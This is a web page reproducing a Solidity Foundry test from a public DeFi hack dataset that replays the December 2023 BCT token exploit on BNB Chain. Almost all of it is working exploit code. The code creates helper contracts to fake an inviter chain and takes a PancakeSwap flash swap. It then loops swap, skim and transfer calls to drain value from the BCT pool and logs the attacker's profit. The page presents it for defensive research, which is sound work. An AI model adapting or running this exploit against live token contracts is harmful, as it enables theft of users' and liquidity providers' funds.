Skip to content
THREATWIRE

Public reproduction file

src/test/2023-12/BCT_exp.sol

Public reproduction file for dataset entry BCT.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-12/BCT_exp.sol238 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5
6// @KeyInfo - Total Lost : ~10.2BNB
7// Attacker : https://bscscan.com/address/0x9c66b0c68c144ffe33e7084fe8ce36ebc44ad21e
8// Attack Contract : https://bscscan.com/address/0xe9616ff20ad519bce0e3d61353a37232f0c27a50
9// Vulnerable Contract : https://bscscan.com/address/0x88b3eb62e363d9f153beab49c5c2ef2e785a375a
10// Attack Tx : https://bscscan.com/tx/0xdae0b85e01670e6b6b317657a72fb560fc388664cf8bfdd9e1b0ae88e0679103
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0x88b3eb62e363d9f153beab49c5c2ef2e785a375a#code
15// @Analysis
16// the attack happend with 2 txs
17// (1) 0xd4c19d575ea5b3a415cc288ce09942299ca3a3b49ef9718cda17e4033dd4c250, this tx creates 5 self initiated tool contract (contract Tool in the below) and prepare the environments for the attack
18// (2) 0xdae0b85e01670e6b6b317657a72fb560fc388664cf8bfdd9e1b0ae88e0679103, this tx contains several weird and malicious operations, which are shown below
19// Post-mortem :
20// Twitter Guy :
21// Hacking God :
23pragma solidity ^0.8.0;
25import "forge-std/Test.sol";
26import "./../interface.sol";
28interface IBCT {
29 function inviter(
30 address
31 ) external view returns (address);
34interface IInviter {
35 function buy(address, address, uint256) external;
36 function f_0xf986351d(address, address, uint256) external;
37 function f_0x4e515153(address, address, uint256) external;
40contract BCT is BaseTestWithBalanceLog {
41 IPancakePair PancakePair = IPancakePair(0x1B96B92314C44b159149f7E0303511fB2Fc4774f); // KIMO/WBNB pair
42 address private wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
43 IERC20 Wbnb = IERC20(wbnb);
45 address bct = 0x70ca72BB4A1386439a2a51476f2335A31005EBe8;
46 address pancakepair = 0x88b3EB62e363d9f153BeAb49c5C2EF2E785a375a;
48 address cake_lp = 0x5A25B8576B14699bbb15947111f5811E58B39A82;
50 address busd = 0x55d398326f99059fF775485246999027B3197955;
52 IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
54 Uni_Pair_V2 cakeLP = Uni_Pair_V2(cake_lp);
56 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
58 function setUp() public {
59 cheats.createSelectFork("bsc", 34_204_710 - 1);
60 deal(address(this), 0.1 ether);
61 }
63 function testExploit() public {
64 uint256 before = Wbnb.balanceOf(address(this));
65 init(); // simulate the first tx for preparation
66 // attack begin
67 PancakePair.swap(20_000_000_000_000_000_000, 0, address(this), abi.encode("0x20"));
68 emit log_named_decimal_uint(
69 "[End] After repay, Profit: BNB balance of attacker", Wbnb.balanceOf(address(this)) - before, 18
70 );
71 }
73 // simulate the preparation of the attack, tx: https://bscscan.com/tx/0xd4c19d575ea5b3a415cc288ce09942299ca3a3b49ef9718cda17e4033dd4c250
74 // function 0xe531876d of the attacker contract
75 function init() public {
76 address[] memory tools = new address[](5);
78 // create 5 tools for the following attack
79 for (uint256 i = 0; i < 5; i++) {
80 Tool tool = new Tool();
81 tools[i] = address(tool);
82 }
84 address first = tools[0];
86 address[] memory path = new address[](2);
87 path[0] = wbnb;
88 path[1] = bct;
89 // msg.value share to 5 addresses
90 router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: 0.00015 ether}(
91 1_000_000_000_000_000, path, address(this), 99_999_999_999_999_999_999_999_999
92 );
93 IERC20(bct).transfer(first, 1_000_000_000_000_000);
94 IInviter(first).f_0x4e515153(bct, address(this), 500_000_000_000_000);
95 uint256 i = 0;
96 while (i < 5) {
97 uint256 k = 4;
98 if (i < k) {
99 address current_tool = tools[i];
100 address next_tool = tools[i + 1];
101 router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: 0.00015 ether}(
102 1_000_000_000_000_000, path, current_tool, 99_999_999_999_999_999_999_999_999
103 );
104 IInviter(current_tool).f_0x4e515153(bct, next_tool, 1_000_000_000_000_000);
105 IInviter(next_tool).f_0x4e515153(bct, current_tool, 500_000_000_000_000);
106 }
107 i++;
108 }
109 }
111 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
112 // address inviter = 0xe9616ff20ad519Bce0e3D61353a37232F0c27A50; // the attacker contract
113 address inviter = address(this);
114 uint256 index = 0;
115 address[] memory inviters = new address[](5);
116 while (index < 5) {
117 address inviter_ = IBCT(bct).inviter(inviter);
118 inviters[index] = inviter_;
119 inviter = inviter_;
120 index++;
122 uint256 amount = IERC20(bct).balanceOf(inviter_);
123 }
124 index = 0;
125 while (index < 5) {
126 (uint112 reserve0, uint112 reserve1, uint32 timestamp) = IPancakePair(pancakepair).getReserves();
128 uint256 buyAmount = calculateValue(reserve1, reserve0, 60e18);
130 Wbnb.transfer(inviters[index], buyAmount);
131 // vm.prank(address(this), 0x9c66B0c68c144Ffe33E7084FE8cE36EBC44aD21e);
132 IInviter(inviters[index]).buy(wbnb, pancakepair, buyAmount);
133 index++;
134 }
136 index = 0;
137 while (index < 10) {
138 uint256 balance = Wbnb.balanceOf(address(this));
139 (uint112 reserve0, uint112 reserve1, uint32 timestamp) = IPancakePair(pancakepair).getReserves();
140 uint256 amount = calculate(reserve1, reserve0, balance);
142 Wbnb.transfer(pancakepair, balance);
143 IPancakePair(pancakepair).swap(amount, 0, cake_lp, "");
144 IPancakePair(cake_lp).skim(address(this));
146 while (true) {
147 uint256 bct_balance = IERC20(bct).balanceOf(address(this));
148 if (bct_balance > 1e18) {
149 IERC20(bct).transfer(cake_lp, bct_balance);
150 IPancakePair(cake_lp).skim(address(this));
151 } else {
152 process(30e18, inviters);
153 index++;
154 break;
155 }
156 }
157 }
159 process(0, inviters);
160 Wbnb.transfer(address(PancakePair), 20_050_000_000_000_000_001);
161 }
163 function process(uint256 inamount, address[] memory inviters) internal {
164 uint256 index = 0;
165 while (index < 5) {
166 address bct_inviter = inviters[index];
167 uint256 balance_inviter = IERC20(bct).balanceOf(bct_inviter);
168 address addr1 = 0x70ca72BB4A1386439a2a51476f2335A31005EBe8;
169 address addr2 = 0x5A25B8576B14699bbb15947111f5811E58B39A82;
170 uint256 amount = balance_inviter - inamount;
172 IInviter(bct_inviter).f_0xf986351d(addr1, addr2, amount);
173 index++;
174 }
176 uint256 busd_balance = IERC20(busd).balanceOf(address(this));
177 (uint112 reserve0, uint112 reserve1, uint32 timestamp) = cakeLP.getReserves();
178 IERC20(busd).transfer(cake_lp, busd_balance);
179 uint256 swap_amount = calculate(reserve0, reserve1, busd_balance);
180 cakeLP.swap(0, swap_amount, pancakepair, "");
182 (uint112 r0, uint112 r1, uint32 t) = IPancakePair(pancakepair).getReserves();
183 uint256 swap_amount2 = calculate(r0, r1, swap_amount * 85 / 100);
184 IPancakePair(pancakepair).swap(0, swap_amount2, address(this), "");
185 }
187 function calculateValue(uint112 reserve1, uint112 reserve0, uint256 amount) private pure returns (uint256) {
188 uint256 v13 = uint256(reserve1) * amount;
189 uint256 v14 = 10_000 * v13;
190 uint256 v15 = uint256(reserve0) - amount;
191 uint256 v16 = 9975 * v15;
192 return 1 + (v14 / v16);
193 }
195 function calculate(uint112 varg0, uint112 varg1, uint256 varg2) private pure returns (uint256) {
196 uint256 v0 = 9975 * varg2;
197 uint256 v1 = v0 * varg1;
198 uint256 v2 = 10_000 * varg0;
199 uint256 v3 = v2 + v0;
200 return v1 / v3;
201 }
203 receive() external payable {}
206contract Tool {
207 address _call;
209 constructor() {
210 _call = tx.origin; // hacker's EOA (foundry account)
211 }
213 function buy(address _srcAddr, address _destAddr, uint256 _destAmount) public {
214 require(tx.origin == _call);
215 IERC20(_srcAddr).transfer(_destAddr, _destAmount);
216 IPancakePair(_destAddr).swap(60e18, 0, address(this), "");
217 }
219 // dedaub-like solidity
220 function f_0xf986351d(address varg0, address varg1, uint256 varg2) public {
221 require(tx.origin == _call);
222 (uint112 v1, uint112 v2, uint32 v3) = IPancakePair(varg1).getReserves();
223 uint256 v4 = 85 * varg2;
224 uint256 v5 = 9975 * v4 / 100;
225 uint256 v6 = v5 * v1;
226 uint256 v7 = 10_000 * v2;
228 IERC20(varg0).transfer(varg1, varg2);
229 IPancakePair(varg1).swap(v6 / (v5 + v7), 0, msg.sender, "");
230 }
232 function f_0x4e515153(address varg0, address varg1, uint256 varg2) public {
233 require(tx.origin == _call);
234 IERC20(varg0).transfer(varg1, varg2);
235 }
237 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “BCT” (2023-12-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x9c66b0c68c144ffe33e7084fe8ce36ebc44ad21e

  • Attack Contract

    0xe9616ff20ad519bce0e3d61353a37232f0c27a50

  • Vulnerable Contract

    0x88b3eb62e363d9f153beab49c5c2ef2e785a375a

  • Attack Tx

    0xdae0b85e01670e6b6b317657a72fb560fc388664cf8bfdd9e1b0ae88e0679103

File record

Name
BCT
Path
src/test/2023-12/BCT_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
4c3bcada90d584d64f646ef3fdb3bd36a12239d7
Language
Solidity
Size
239 lines
Date
2023-12-09
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-12/BCT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4c3bcada90d584d64f646ef3fdb3bd36a12239d7, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.